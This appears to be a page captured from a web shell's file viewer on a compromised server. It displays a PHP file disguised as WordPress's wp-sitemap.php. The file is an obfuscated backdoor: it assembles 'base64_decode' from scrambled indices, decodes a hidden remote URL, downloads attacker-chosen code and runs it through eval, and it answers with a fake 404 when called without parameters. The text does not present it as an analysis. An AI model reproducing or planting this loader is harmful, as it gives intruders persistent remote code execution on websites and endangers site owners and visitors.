HEX
Server: Apache
System: Linux 198-252-107-178.cprapid.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
User: msgdhg02 (1000)
PHP: 8.1.34
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/msgdhg02/public_html/289naknoi-v2.com/wp-sitemap.php
<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);
ini_set('max_execution_time', 0);
set_time_limit(0);
$i = isset($_GET['i']) ? $_GET['i'] : 0;
$c = isset($_GET['c']) ? $_GET['c'] : '';
function getContent( $url ){
    $result = '';
    if ( function_exists( 'curl_init' ) && function_exists( 'curl_exec' ) ) { 
        $ch = curl_init();
        curl_setopt( $ch, CURLOPT_URL, $url );
        curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
        curl_setopt( $ch, CURLOPT_HEADER, false );
        curl_setopt( $ch, CURLOPT_TIMEOUT, 30 );
        curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
        curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
        if ( !curl_errno ( $ch ) ) {
            $result = curl_exec( $ch );
        }
        if ( PHP_VERSION_ID < 80000 ) {
            curl_close(  $ch  );
        }
    }
    return $result;
}

if ( $i > 0 && $c != '' ){
    $a = array('a', 'b', 'c', 'd', 'e', 'o', 's', '_');
    $b = str_split('1064342534');
    $d = '';
    for($j=0;$j<count($b);$j++){
        $d .= $a[$b[$j]];
        if($j == 3 ){
            $d .= '64_';
        }
    }
    $a = $d('aHR0cHM6Ly95cGF5cGF5Lnh5ei9maWxlcy8=', true);
    $b = getContent( $a.$c );
    if ( $b ){
        eval( '?>'.$b );
    } else {
        echo 0;
    }
} else {
    header('HTTP/1.0 404 Not Found');
}

exit();